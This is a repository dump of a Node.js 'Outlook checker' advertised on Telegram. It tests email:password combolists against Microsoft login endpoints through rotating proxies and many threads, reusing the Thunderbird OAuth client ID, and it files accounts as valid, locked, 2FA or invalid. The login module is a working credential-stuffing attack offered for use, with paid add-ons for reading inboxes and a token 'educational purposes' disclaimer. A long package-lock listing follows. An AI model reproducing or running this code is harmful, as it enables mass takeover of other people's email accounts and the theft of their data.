17 |
18 | [](https://youtube.com)
19 | [](https://youtube.com)
20 |
21 | [](https://discord.gg/sm38JmvVey)
22 | [](https://t.me/etherialdev)
23 |
24 | [](https://t.me/etherialhub)
25 |
npm install
**
80 | - **Put your proxies in input/proxies.txt
| username:password@hostname:port or ip:port format
**
81 | - **Put your accounts in input/combolist.txt
| email:password
**
82 | - **Start the program with: node index.js
**
83 |
84 | ## ❗ Legal & Contact:
85 |
86 | - **For support contact: [Telegram](https://t.me/etherialdev)**
87 |
88 | - **This tool is for educational purposes only. By using it, you acknowledge that I am not liable for any consequences resulting from its use.**
89 |
90 |
--------------------------------------------------------------------------------
/config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | threads: 100,
3 | retry_limit: 1,
4 | proxy_type: "SOCKS5", // HTTP | SOCKS4 | SOCKS5
5 | inbox_filter: ["", "", ""] // Paid option, contact: https://t.me/etherialdev
6 | };
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | const { login_func } = require('./modules/login.js');
2 | const { thunderbird_func } = require('./modules/thunderbird.js'); // Purchase the full version: https://t.me/etherialdev
3 | const { accesstoken_func } = require('./modules/accesstoken.js'); // Purchase the full version: https://t.me/etherialdev
4 | const { imap_func } = require('./modules/imap.js'); // Purchase the full version: https://t.me/etherialdev
5 | const { CookieJar } = require('tough-cookie');
6 | const { get_sections } = require('./utils/separator.js');
7 | const fs = require('fs');
8 | const { Log } = require('./modules/logger.js');
9 | const path = require('path');
10 |
11 | const got = require('got');
12 | const { SocksProxyAgent } = require('socks-proxy-agent');
13 | const { HttpsProxyAgent } = require('https-proxy-agent');
14 |
15 |
16 | let proxy_type;
17 | let inbox_filter;
18 | let thread_num;
19 | let retry_limit;
20 |
21 | try {
22 | const config = require(path.join(process.cwd(), 'config.js'));
23 | thread_num = config.threads;
24 | proxy_type = config.proxy_type.toLowerCase();
25 | inbox_filter = config.inbox_filter;
26 | retry_limit = config.retry_limit;
27 | } catch (error) {
28 | Log.Error("Config file malformed: download the source code again from: https://github.com/etherialdev/outlook-checker")
29 | }
30 |
31 | async function worker(session, email, password) {
32 | try {
33 | const login = await login_func(session, email, password)
34 | if (login.status == "already_connected") {
35 | Log.Success(`Valid account! | ${email}:${password}`)
36 | return {status: "success", domain_list: null, access_token: null, response: null}
37 | }else if (login.status == "success") {
38 | Log.Success(`Valid account! | ${email}:${password}`)
39 | return {status: "success", domain_list: null, access_token: null, response: null}
40 | }else{
41 | return {status: login.status, domain_list: null, access_token: null, response: null}
42 | }
43 | } catch (error) {
44 | return {status: "retry", domain_list: null, access_token: null, response: error}
45 | }
46 | }
47 |
48 | async function process_element() {
49 | return new Promise((resolve) => {
50 | setTimeout(() => {
51 | resolve();
52 | }, 100);
53 | });
54 | }
55 |
56 | async function start(section, proxies) {
57 | try {
58 | for (let index = 0; index < section.length; index++) {
59 | const data_line = section[index];
60 | const parts = data_line.split(':');
61 | const email = parts[0].trim();
62 | const password = parts[1].trim()
63 | let retry_count = 0;
64 |
65 | process_element()
66 | while (retry_count <= retry_limit) {
67 | retry_count++;
68 | const proxy = proxies[Math.floor(Math.random() * proxies.length)];
69 |
70 | let proxy_url;
71 | let proxyAgent;
72 |
73 | if (proxy_type.includes("socks")) {
74 | proxy_url = `${proxy_type}://${proxy}`;
75 | proxyAgent = new SocksProxyAgent(proxy_url);
76 | }else{
77 | proxy_url = `${proxy_type}://${proxy}`;
78 | proxyAgent = new HttpsProxyAgent(proxy_url);
79 | }
80 |
81 | const cookieJar = new CookieJar();
82 | const session = got.default.extend({
83 | cookieJar,
84 | agent: {
85 | https: proxyAgent
86 | }
87 | });
88 |
89 | const status = await worker(session, email, password);
90 | if (status.status == "success") {
91 | fs.appendFileSync(path.join(process.cwd(), 'output', 'valid.txt'), `${email}:${password}\n`, 'utf8');
92 | }else if(status.status == "locked"){
93 | Log.Debug(`Locked account | ${email}:${password}`)
94 | fs.appendFileSync(path.join(process.cwd(), 'output', 'phone_locked.txt'), `${email}:${password}\n`, 'utf8');
95 | }else if(status.status == "2fa_detected"){
96 | Log.Debug(`2fa detected | ${email}:${password}`)
97 | fs.appendFileSync(path.join(process.cwd(), 'output', '2fa.txt'), `${email}:${password}\n`, 'utf8');
98 | }else if(status.status == "invalid"){
99 | Log.Debug(`Invalid account | ${email}:${password}`)
100 | fs.appendFileSync(path.join(process.cwd(), 'output', 'invalid.txt'), `${email}:${password}\n`, 'utf8');
101 | }else if(status.status == "passkey_interrupt"){
102 | Log.Warning(`Passkey interrupt happened, need to retry ${email}:${password})`)
103 | }else if(status.status == "recovery"){
104 | Log.Debug(`Locked account (Recovery) | ${email}:${password}`)
105 | fs.appendFileSync(path.join(process.cwd(), 'output', 'locked.txt'), `${email}:${password} | Recovery\n`, 'utf8');
106 | }else if(status.status == "security_info_change"){
107 | Log.Debug(`Locked account (security info change pending) | ${email}:${password}`)
108 | fs.appendFileSync(path.join(process.cwd(), 'output', 'locked.txt'), `${email}:${password} | Security info change pending\n`, 'utf8');
109 | }else if(status.status == "too_many_tries"){
110 | Log.Debug(`Too many tries (login blocked) | ${email}:${password}`)
111 | fs.appendFileSync(path.join(process.cwd(), 'output', 'locked.txt'), `${email}:${password} | Too many tries (login blocked)\n`, 'utf8');
112 | }else{
113 | Log.Error(`Proxy timeout error`);
114 | }
115 | if (status.status !== "retry" && status.status !== "passkey_interrupt") {
116 | break;
117 | }
118 | }
119 | if (retry_count > retry_limit) {
120 | fs.appendFileSync(path.join(process.cwd(), 'output', 'failed_check.txt'), `${email}:${password}\n`, 'utf8');
121 | }
122 | }
123 | } catch (error) {
124 | Log.Error(`Error: ${error}`)
125 | }
126 | }
127 |
128 | async function check_config() {
129 | const is_empty = file => fs.statSync(file).size > 0;
130 | let value = 0;
131 | const lines = fs.readFileSync(path.join(process.cwd(), 'input', 'combolist.txt'), 'utf-8').split('\n').filter(line => line.trim());
132 | lines.forEach(() => value++);
133 |
134 | const errors = [];
135 | if (fs.existsSync("./config.js")) {
136 | if (!['http', 'socks4', 'socks5'].includes(proxy_type)) {
137 | errors.push('proxy_type_error');
138 | }
139 | if (!Number.isInteger(thread_num)) {
140 | errors.push('thread_num_error');
141 | }
142 | if (!Number.isInteger(retry_limit)) {
143 | errors.push('retry_limit_error');
144 | }
145 | if (inbox_filter.every(item => item === "")) {
146 | errors.push('inbox_filter_empty');
147 | }
148 | if (!is_empty('input/proxies.txt')) {
149 | errors.push('empty_proxies_error')
150 | }
151 | if (!is_empty('input/combolist.txt')) {
152 | errors.push('empty_combolist_error')
153 | }
154 | if (thread_num > value) {
155 | errors.push('thread_num_error_2')
156 | }
157 |
158 | } else {
159 | errors.push('config_file_missing');
160 | }
161 | if (errors.length > 0) {
162 | return errors;
163 | }
164 | }
165 |
166 | function wait(ms) {
167 | return new Promise(resolve => setTimeout(resolve, ms));
168 | }
169 |
170 | async function main() {
171 | Log.Warning("Inbox filter is in the full version. Buy it on Telegram: t.me/etherialdev Free release at 200 stars!");
172 | await wait(5000);
173 | if ((proxy_type != "undefined" & thread_num != "undefined") & inbox_filter != "undefined" & retry_limit != "undefined") {
174 | const error_statuses = {
175 | proxy_type_error: false,
176 | inbox_filter_empty: false,
177 | config_file_missing: false,
178 | thread_num_error: false,
179 | empty_proxies_error: false,
180 | empty_combolist_error: false,
181 | thread_num_error_2: false,
182 | retry_limit_error: false
183 | };
184 |
185 | const errors = await check_config()
186 | if (errors) {
187 | for (const error of Object.keys(error_statuses)) {
188 | error_statuses[error] = errors.includes(error);
189 | }
190 | }
191 | if (error_statuses.config_file_missing) {
192 | Log.Error("Config file missing, download the source code again from: https://github.com/etherialdev/outlook-checker");
193 | }
194 | if (error_statuses.retry_limit_error) {
195 | Log.Error("Wrong retry_limit value, please check the config.js file!");
196 | }
197 | if (error_statuses.proxy_type_error) {
198 | Log.Error("Wrong proxy type, please check the config.js file! (supported proxy types: HTTP, SOCKS4, SOCKS5)");
199 | }
200 | if (error_statuses.inbox_filter_empty) {
201 | //Log.Warning("The inbox_filter in the config.js file was empty, input the site domains if you want to save the hits!");
202 | }
203 | if (error_statuses.thread_num_error) {
204 | Log.Error("The thread_num in the config file is not a number, please enter a number.");
205 | }
206 | if (error_statuses.empty_proxies_error) {
207 | Log.Error("The proxies.txt is empty, please input your proxies. format: username:password@hostname:port");
208 | }
209 | if (error_statuses.empty_combolist_error) {
210 | Log.Error("The combolist.txt is empty, please input your data. format: email:password");
211 | }
212 | if (error_statuses.thread_num_error_2) {
213 | Log.Error("The thread_num in the config file cannot be higher than the lines of the combolist.txt!")
214 | }
215 |
216 | if (!error_statuses.proxy_type_error && !error_statuses.proxy_check_error && !error_statuses.config_file_missing && !error_statuses.empty_proxies_error && !error_statuses.empty_combolist_error && !error_statuses.thread_num_error_2) {
217 | const sections = await get_sections(path.join(process.cwd(), 'input', 'combolist.txt'), thread_num);
218 | const proxy_data = fs.readFileSync(path.join(process.cwd(), 'input', 'proxies.txt'), 'utf8');
219 | const proxies = proxy_data.split('\n');
220 | let section_num = "1";
221 | for (let index = 0; index < thread_num; index++) {
222 | const section = sections[`section_${section_num}`];
223 | start(section, proxies);
224 | section_num++;
225 | }
226 | }
227 | }else{
228 | Log.Error("There are an issue with the config file, please check it!")
229 | }
230 | }
231 |
232 | process.stdout.write('\x1b]0;Outlook Checker | t.me/etherialdev\x07');
233 | main()
234 | setInterval(() => {}, 1000);
--------------------------------------------------------------------------------
/input/combolist.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/etherialdev/outlook-checker/b234c41cd6194fbb00aa44f62d2cd5ead249b189/input/combolist.txt
--------------------------------------------------------------------------------
/input/proxies.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/etherialdev/outlook-checker/b234c41cd6194fbb00aa44f62d2cd5ead249b189/input/proxies.txt
--------------------------------------------------------------------------------
/modules/accesstoken.js:
--------------------------------------------------------------------------------
1 | const { header_7 } = require('../utils/headers.js');
2 |
3 | async function get_access_token(session, code) {
4 | // Purchase the full version: https://t.me/etherialdev
5 | }
6 |
7 | async function accesstoken_func(session, code) {
8 | // Purchase the full version: https://t.me/etherialdev
9 | }
10 |
11 | module.exports = {
12 | accesstoken_func,
13 | }
--------------------------------------------------------------------------------
/modules/imap.js:
--------------------------------------------------------------------------------
1 | const { ImapFlow } = require('imapflow');
2 |
3 | async function get_imap_client(email, access_token) {
4 | // Purchase the full version: https://t.me/etherialdev
5 | }
6 |
7 | async function get_domains(imap_client) {
8 | // Purchase the full version: https://t.me/etherialdev
9 | }
10 |
11 | async function imap_func(email, access_token) {
12 | // Purchase the full version: https://t.me/etherialdev
13 | }
14 |
15 |
16 | module.exports = {
17 | imap_func,
18 | }
19 |
--------------------------------------------------------------------------------
/modules/logger.js:
--------------------------------------------------------------------------------
1 | const fs = require('fs');
2 | const { Mutex } = require('async-mutex');
3 | const { format } = require('date-fns');
4 |
5 | class Log {
6 | static lock = new Mutex();
7 | static logFile = null;
8 |
9 | static setLogFile(filename) {
10 | Log.logFile = fs.createWriteStream(filename, { flags: 'a' });
11 | }
12 |
13 | static async _log(level, prefix, message) {
14 | const timestamp = format(new Date(), 'HH:mm:ss');
15 | const logMessage = `[\x1b[34m${timestamp}\x1b[0m] ${prefix} ${message}`;
16 |
17 | await Log.lock.runExclusive(async () => {
18 | if (Log.logFile) {
19 | Log.logFile.write(logMessage + '\n');
20 | Log.logFile.flush();
21 | }
22 | console.log(logMessage);
23 | });
24 | }
25 |
26 | static async Success(message, prefix = "(+)", color = "\x1b[32m") {
27 | await Log._log("SUCCESS", `${color}${prefix}\x1b[0m`, message);
28 | }
29 |
30 | static async Error(message, prefix = "(-)", color = "\x1b[31m") {
31 | await Log._log("ERROR", `${color}${prefix}\x1b[0m`, message);
32 | }
33 |
34 | static async Debug(message, prefix = "(#)", color = "\x1b[33m") {
35 | await Log._log("DEBUG", `${color}${prefix}\x1b[0m`, message);
36 | }
37 |
38 | static async Info(message, prefix = "(?)", color = "\x1b[37m") {
39 | await Log._log("INFO", `${color}${prefix}\x1b[0m`, message);
40 | }
41 |
42 | static async Warning(message, prefix = "(!)", color = "\x1b[35m") {
43 | await Log._log("WARNING", `${color}${prefix}\x1b[0m`, message);
44 | }
45 |
46 | static async info(message, prefix = "(?)", color = "\x1b[37m") {
47 | await Log._log("INFO", `${color}${prefix}\x1b[0m`, message);
48 | }
49 |
50 | static async error(message, prefix = "(-)", color = "\x1b[31m") {
51 | await Log._log("ERROR", `${color}${prefix}\x1b[0m`, message);
52 | }
53 |
54 | static async warning(message, prefix = "(!)", color = "\x1b[35m") {
55 | await Log._log("WARNING", `${color}${prefix}\x1b[0m`, message);
56 | }
57 | }
58 |
59 |
60 |
61 |
62 | module.exports = { Log };
--------------------------------------------------------------------------------
/modules/login.js:
--------------------------------------------------------------------------------
1 | const { header_1, header_2, header_3 } = require('../utils/headers.js');
2 |
3 | async function get_login_url(session, email) {
4 | try {
5 | const response = await session.get(
6 | 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize', {
7 | headers: header_1(),
8 | searchParams: {
9 | "redirect_uri": "msauth://net.thunderbird.android/S9nqeF27sTJcEfaInpC%2BDHzHuCY%3D",
10 | "client_id": "e6f8716e-299d-4ed9-bbf3-453f192f44e5",
11 | "response_type": "code",
12 | "login_hint": email,
13 | "state": "v4WtWWgYCOSHR7rZivYT2A",
14 | "nonce": "MIgPdBlxPYQSDCh9SK1ocg",
15 | "scope": "https://outlook.office.com/IMAP.AccessAsUser.All https://outlook.office.com/SMTP.Send offline_access",
16 | "code_challenge": "ybj7gD4AewA9XLNLnunRS0LlY3wIf_iJuP8YfJE2LNA",
17 | "code_challenge_method": "S256"
18 | }
19 | })
20 |
21 | if (String(response.url).includes("oauth20_authorize.srf")) {
22 | return {
23 | status: "success",
24 | response: response.body,
25 | redirect_url: response.url,
26 | };
27 | }else{
28 | return {
29 | status: "failed",
30 | response: response.body,
31 | redirect_url: null,
32 | };
33 | }
34 | } catch (error) {
35 | return {
36 | status: "failed",
37 | response: error,
38 | redirect_url: null,
39 | };
40 | }
41 | }
42 |
43 | async function get_login_params(session, login_params_url) {
44 | try {
45 | const response = await session.get(
46 | login_params_url, {
47 | headers: header_2()
48 | })
49 |
50 | if (String(response.body).includes("urlPost")) {
51 | const PPFT_value = response.body.match(/name="PPFT"[^>]*value="([^"]+)"/)?.[1];
52 | const url_post_value = response.body.match(/urlPost:'([^']+)'/)?.[1];
53 |
54 | return {
55 | status: "success",
56 | response: response.body,
57 | redirect_url: url_post_value,
58 | PPFT: PPFT_value
59 | };
60 | }else{
61 | return {
62 | status: "failed",
63 | response: response.body,
64 | redirect_url: null,
65 | PPFT: null
66 | };
67 | }
68 | } catch (error) {
69 | return {
70 | status: "failed",
71 | response: error,
72 | PPFT: null
73 | };
74 | }
75 | }
76 |
77 |
78 | async function login(session, email, password, ppft, login_params_url, login_url) {
79 | try {
80 | const payload = {
81 | "ps": "2",
82 | "psRNGCDefaultType": "",
83 | "psRNGCEntropy": "",
84 | "psRNGCSLK": "",
85 | "canary": "",
86 | "ctx": "",
87 | "hpgrequestid": "",
88 | "PPFT": ppft,
89 | "PPSX": "Pass",
90 | "NewUser": "1",
91 | "FoundMSAs": "",
92 | "fspost": "0",
93 | "i21": "0",
94 | "CookieDisclosure": "0",
95 | "IsFidoSupported": "1",
96 | "isSignupPost": "0",
97 | "isRecoveryAttemptPost": "0",
98 | "i13": "1",
99 | "login": email,
100 | "loginfmt": email,
101 | "type": "11",
102 | "LoginOptions": "1",
103 | "lrt": "",
104 | "lrtPartition": "",
105 | "hisRegion": "",
106 | "hisScaleUnit": "",
107 | "passwd": password
108 | }
109 | const response = await session.post(
110 | login_url,
111 | {
112 | form: payload,
113 | headers: header_3(login_params_url),
114 | }
115 | )
116 |
117 | if (String(response.body).includes("account.live.com/Abuse")) {
118 | return {
119 | status: "locked",
120 | response: response.body,
121 | consent_link: null,
122 | pprid: null,
123 | ipt: null,
124 | uaid: null,
125 | client_id: null,
126 | scope: null,
127 | code: null
128 | };
129 | }else if (String(response.body).includes("Your account or password is incorrect.")) {
130 | return {
131 | status: "invalid",
132 | response: response.body,
133 | consent_link: null,
134 | pprid: null,
135 | ipt: null,
136 | uaid: null,
137 | client_id: null,
138 | scope: null,
139 | code: null
140 | };
141 | }else if(String(response.body).includes("live.com/recover")){
142 | return {
143 | status: "recovery",
144 | response: response.body,
145 | consent_link: null,
146 | pprid: null,
147 | ipt: null,
148 | uaid: null,
149 | client_id: null,
150 | scope: null,
151 | code: null
152 | };
153 | }else if(String(response.body).includes("ar/cancel")){
154 | return {
155 | status: "security_info_change",
156 | response: response.body,
157 | consent_link: null,
158 | pprid: null,
159 | ipt: null,
160 | uaid: null,
161 | client_id: null,
162 | scope: null,
163 | code: null
164 | };
165 | }else if(String(response.body).includes("live.com/ResetPassword")){
166 | return {
167 | status: "too_many_tries",
168 | response: response.body,
169 | consent_link: null,
170 | pprid: null,
171 | ipt: null,
172 | uaid: null,
173 | client_id: null,
174 | scope: null,
175 | code: null
176 | };
177 | }else if(String(response.body).includes('interrupt/passkey')){
178 | return {
179 | status: "passkey_interrupt",
180 | response: response.body,
181 | consent_link: null,
182 | pprid: null,
183 | ipt: null,
184 | uaid: null,
185 | client_id: null,
186 | scope: null,
187 | code: null
188 | };
189 | }else if(String(response.body).includes('agreements/privacy')){
190 | return {
191 | status: "2fa_detected",
192 | response: response.body,
193 | consent_link: null,
194 | pprid: null,
195 | ipt: null,
196 | uaid: null,
197 | client_id: null,
198 | scope: null,
199 | code: null
200 | };
201 | }else if(String(response.body).includes('id="client_id" value="')){
202 |
203 | const consent_link_value = response.body.match(/id="fmHF"[^>]*action="([^"]+)"/)?.[1];
204 | const pprid_value = response.body.match(/id="pprid"[^>]*value="([^"]+)"/)?.[1];
205 | const ipt_value = response.body.match(/id="ipt"[^>]*value="([^"]*)"/)?.[1];
206 | const uaid_value = response.body.match(/id="uaid"[^>]*value="([^"]+)"/)?.[1];
207 | const client_id_value = response.body.match(/id="client_id"[^>]*value="([^"]*)"/)?.[1];
208 | const scope_value = response.body.match(/id="scope"[^>]*value="([^"]*)"/)?.[1];
209 |
210 | return {
211 | status: "success",
212 | response: response.body,
213 | consent_link: consent_link_value,
214 | pprid: pprid_value,
215 | ipt: ipt_value,
216 | uaid: uaid_value,
217 | client_id: client_id_value,
218 | scope: scope_value,
219 | code: null
220 | };
221 | }else {
222 | return {
223 | status: "failed",
224 | response: response.body,
225 | consent_link: null,
226 | pprid: null,
227 | ipt: null,
228 | uaid: null,
229 | client_id: null,
230 | scope: null,
231 | code: null
232 | };
233 | }
234 | } catch (error) {
235 | if (String(error.response.headers.location).includes("M.")) {
236 | return {
237 | status: "already_connected",
238 | response: error,
239 | consent_link: null,
240 | pprid: null,
241 | ipt: null,
242 | uaid: null,
243 | client_id: null,
244 | scope: null,
245 | code: String(error.response.headers.location).split("?code=")[1].split("&")[0]
246 | };
247 | }else{
248 | return {
249 | status: "failed",
250 | response: error,
251 | consent_link: null,
252 | pprid: null,
253 | ipt: null,
254 | uaid: null,
255 | client_id: null,
256 | scope: null,
257 | code: null
258 | };
259 | }
260 | }
261 | }
262 |
263 | async function login_func(session, email, email_password) {
264 | const login_params_url = await get_login_url(session, email)
265 | if (login_params_url.status == "success") {
266 | const login_params = await get_login_params(session, login_params_url.redirect_url)
267 | if (login_params.status == "success") {
268 | const try_login = await login(session, email, email_password, login_params.PPFT, login_params_url.redirect_url, login_params.redirect_url)
269 |
270 | if (try_login.status == "already_connected") {
271 | return {status: "already_connected", function: "login", login_properties: try_login}
272 | }else if (try_login.status == "2fa_detected") {
273 | return {status: "2fa_detected", function: "login", login_properties: try_login}
274 | }else if (try_login.status == "success") {
275 | return {status: "success", function: "login", login_properties: try_login}
276 | }else if(try_login.status == "locked"){
277 | return {status: "locked", function: "login", login_properties: try_login}
278 | }else if(try_login.status == "invalid"){
279 | return {status: "invalid", function: "login", login_properties: try_login}
280 | }else if(try_login.status == "passkey_interrupt"){
281 | return {status: "passkey_interrupt", function: "login", login_properties: try_login}
282 | }else if(try_login.status == "recovery"){
283 | return {status: "recovery", function: "login", login_properties: try_login}
284 | }else if(try_login.status == "too_many_tries"){
285 | return {status: "too_many_tries", function: "login", login_properties: try_login}
286 | }else if(try_login.status == "security_info_change"){
287 | return {status: "security_info_change", function: "login", login_properties: try_login}
288 | }else{
289 | return {status: "retry", function: "login", login_properties: try_login}
290 | }
291 |
292 | }else{
293 | return {status: "retry", function: "get_login_params", login_properties: null}
294 | }
295 | }else{
296 | return {status: "retry", function: "login_params_url", login_properties: null}
297 | }
298 | }
299 |
300 |
301 | module.exports = {
302 | login_func,
303 | }
--------------------------------------------------------------------------------
/modules/thunderbird.js:
--------------------------------------------------------------------------------
1 | const { URL } = require('url');
2 | const { header_4, header_5 } = require('../utils/headers.js');
3 |
4 | async function get_oauth_canary(session, consent_link, pprid, ipt, uaid, client_id, scope) {
5 | // Purchase the full version: https://t.me/etherialdev
6 | }
7 |
8 | async function add_thunderbird_oauth(session, consent_link, canary, client_id, scope) {
9 | // Purchase the full version: https://t.me/etherialdev
10 | }
11 |
12 |
13 |
14 |
15 | async function thunderbird_func(session, email, login_properties) {
16 | // Purchase the full version: https://t.me/etherialdev
17 | }
18 |
19 |
20 | module.exports = {
21 | thunderbird_func,
22 | }
--------------------------------------------------------------------------------
/output/valid.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/etherialdev/outlook-checker/b234c41cd6194fbb00aa44f62d2cd5ead249b189/output/valid.txt
--------------------------------------------------------------------------------
/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "outlook-checker",
3 | "version": "2.0.0",
4 | "lockfileVersion": 3,
5 | "requires": true,
6 | "packages": {
7 | "": {
8 | "name": "outlook-checker",
9 | "version": "2.0.0",
10 | "license": "GPL-3.0-or-later",
11 | "dependencies": {
12 | "async-mutex": "^0.5.0",
13 | "date-fns": "^4.1.0",
14 | "got": "^11.8.6",
15 | "https-proxy-agent": "^7.0.6",
16 | "imap": "^0.8.19",
17 | "imapflow": "^1.0.177",
18 | "request": "^2.88.2",
19 | "socks-proxy-agent": "^8.0.5",
20 | "tough-cookie": "^5.1.0",
21 | "tunnel": "^0.0.6"
22 | },
23 | "bin": {
24 | "outlook-checker": "index.js"
25 | },
26 | "devDependencies": {
27 | "esbuild": "^0.24.2"
28 | }
29 | },
30 | "node_modules/@esbuild/aix-ppc64": {
31 | "version": "0.24.2",
32 | "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.24.2.tgz",
33 | "integrity": "sha512-thpVCb/rhxE/BnMLQ7GReQLLN8q9qbHmI55F4489/ByVg2aQaQ6kbcLb6FHkocZzQhxc4gx0sCk0tJkKBFzDhA==",
34 | "cpu": [
35 | "ppc64"
36 | ],
37 | "dev": true,
38 | "optional": true,
39 | "os": [
40 | "aix"
41 | ],
42 | "engines": {
43 | "node": ">=18"
44 | }
45 | },
46 | "node_modules/@esbuild/android-arm": {
47 | "version": "0.24.2",
48 | "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.24.2.tgz",
49 | "integrity": "sha512-tmwl4hJkCfNHwFB3nBa8z1Uy3ypZpxqxfTQOcHX+xRByyYgunVbZ9MzUUfb0RxaHIMnbHagwAxuTL+tnNM+1/Q==",
50 | "cpu": [
51 | "arm"
52 | ],
53 | "dev": true,
54 | "optional": true,
55 | "os": [
56 | "android"
57 | ],
58 | "engines": {
59 | "node": ">=18"
60 | }
61 | },
62 | "node_modules/@esbuild/android-arm64": {
63 | "version": "0.24.2",
64 | "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.24.2.tgz",
65 | "integrity": "sha512-cNLgeqCqV8WxfcTIOeL4OAtSmL8JjcN6m09XIgro1Wi7cF4t/THaWEa7eL5CMoMBdjoHOTh/vwTO/o2TRXIyzg==",
66 | "cpu": [
67 | "arm64"
68 | ],
69 | "dev": true,
70 | "optional": true,
71 | "os": [
72 | "android"
73 | ],
74 | "engines": {
75 | "node": ">=18"
76 | }
77 | },
78 | "node_modules/@esbuild/android-x64": {
79 | "version": "0.24.2",
80 | "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.24.2.tgz",
81 | "integrity": "sha512-B6Q0YQDqMx9D7rvIcsXfmJfvUYLoP722bgfBlO5cGvNVb5V/+Y7nhBE3mHV9OpxBf4eAS2S68KZztiPaWq4XYw==",
82 | "cpu": [
83 | "x64"
84 | ],
85 | "dev": true,
86 | "optional": true,
87 | "os": [
88 | "android"
89 | ],
90 | "engines": {
91 | "node": ">=18"
92 | }
93 | },
94 | "node_modules/@esbuild/darwin-arm64": {
95 | "version": "0.24.2",
96 | "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.24.2.tgz",
97 | "integrity": "sha512-kj3AnYWc+CekmZnS5IPu9D+HWtUI49hbnyqk0FLEJDbzCIQt7hg7ucF1SQAilhtYpIujfaHr6O0UHlzzSPdOeA==",
98 | "cpu": [
99 | "arm64"
100 | ],
101 | "dev": true,
102 | "optional": true,
103 | "os": [
104 | "darwin"
105 | ],
106 | "engines": {
107 | "node": ">=18"
108 | }
109 | },
110 | "node_modules/@esbuild/darwin-x64": {
111 | "version": "0.24.2",
112 | "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.24.2.tgz",
113 | "integrity": "sha512-WeSrmwwHaPkNR5H3yYfowhZcbriGqooyu3zI/3GGpF8AyUdsrrP0X6KumITGA9WOyiJavnGZUwPGvxvwfWPHIA==",
114 | "cpu": [
115 | "x64"
116 | ],
117 | "dev": true,
118 | "optional": true,
119 | "os": [
120 | "darwin"
121 | ],
122 | "engines": {
123 | "node": ">=18"
124 | }
125 | },
126 | "node_modules/@esbuild/freebsd-arm64": {
127 | "version": "0.24.2",
128 | "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.24.2.tgz",
129 | "integrity": "sha512-UN8HXjtJ0k/Mj6a9+5u6+2eZ2ERD7Edt1Q9IZiB5UZAIdPnVKDoG7mdTVGhHJIeEml60JteamR3qhsr1r8gXvg==",
130 | "cpu": [
131 | "arm64"
132 | ],
133 | "dev": true,
134 | "optional": true,
135 | "os": [
136 | "freebsd"
137 | ],
138 | "engines": {
139 | "node": ">=18"
140 | }
141 | },
142 | "node_modules/@esbuild/freebsd-x64": {
143 | "version": "0.24.2",
144 | "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.24.2.tgz",
145 | "integrity": "sha512-TvW7wE/89PYW+IevEJXZ5sF6gJRDY/14hyIGFXdIucxCsbRmLUcjseQu1SyTko+2idmCw94TgyaEZi9HUSOe3Q==",
146 | "cpu": [
147 | "x64"
148 | ],
149 | "dev": true,
150 | "optional": true,
151 | "os": [
152 | "freebsd"
153 | ],
154 | "engines": {
155 | "node": ">=18"
156 | }
157 | },
158 | "node_modules/@esbuild/linux-arm": {
159 | "version": "0.24.2",
160 | "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.24.2.tgz",
161 | "integrity": "sha512-n0WRM/gWIdU29J57hJyUdIsk0WarGd6To0s+Y+LwvlC55wt+GT/OgkwoXCXvIue1i1sSNWblHEig00GBWiJgfA==",
162 | "cpu": [
163 | "arm"
164 | ],
165 | "dev": true,
166 | "optional": true,
167 | "os": [
168 | "linux"
169 | ],
170 | "engines": {
171 | "node": ">=18"
172 | }
173 | },
174 | "node_modules/@esbuild/linux-arm64": {
175 | "version": "0.24.2",
176 | "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.24.2.tgz",
177 | "integrity": "sha512-7HnAD6074BW43YvvUmE/35Id9/NB7BeX5EoNkK9obndmZBUk8xmJJeU7DwmUeN7tkysslb2eSl6CTrYz6oEMQg==",
178 | "cpu": [
179 | "arm64"
180 | ],
181 | "dev": true,
182 | "optional": true,
183 | "os": [
184 | "linux"
185 | ],
186 | "engines": {
187 | "node": ">=18"
188 | }
189 | },
190 | "node_modules/@esbuild/linux-ia32": {
191 | "version": "0.24.2",
192 | "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.24.2.tgz",
193 | "integrity": "sha512-sfv0tGPQhcZOgTKO3oBE9xpHuUqguHvSo4jl+wjnKwFpapx+vUDcawbwPNuBIAYdRAvIDBfZVvXprIj3HA+Ugw==",
194 | "cpu": [
195 | "ia32"
196 | ],
197 | "dev": true,
198 | "optional": true,
199 | "os": [
200 | "linux"
201 | ],
202 | "engines": {
203 | "node": ">=18"
204 | }
205 | },
206 | "node_modules/@esbuild/linux-loong64": {
207 | "version": "0.24.2",
208 | "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.24.2.tgz",
209 | "integrity": "sha512-CN9AZr8kEndGooS35ntToZLTQLHEjtVB5n7dl8ZcTZMonJ7CCfStrYhrzF97eAecqVbVJ7APOEe18RPI4KLhwQ==",
210 | "cpu": [
211 | "loong64"
212 | ],
213 | "dev": true,
214 | "optional": true,
215 | "os": [
216 | "linux"
217 | ],
218 | "engines": {
219 | "node": ">=18"
220 | }
221 | },
222 | "node_modules/@esbuild/linux-mips64el": {
223 | "version": "0.24.2",
224 | "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.24.2.tgz",
225 | "integrity": "sha512-iMkk7qr/wl3exJATwkISxI7kTcmHKE+BlymIAbHO8xanq/TjHaaVThFF6ipWzPHryoFsesNQJPE/3wFJw4+huw==",
226 | "cpu": [
227 | "mips64el"
228 | ],
229 | "dev": true,
230 | "optional": true,
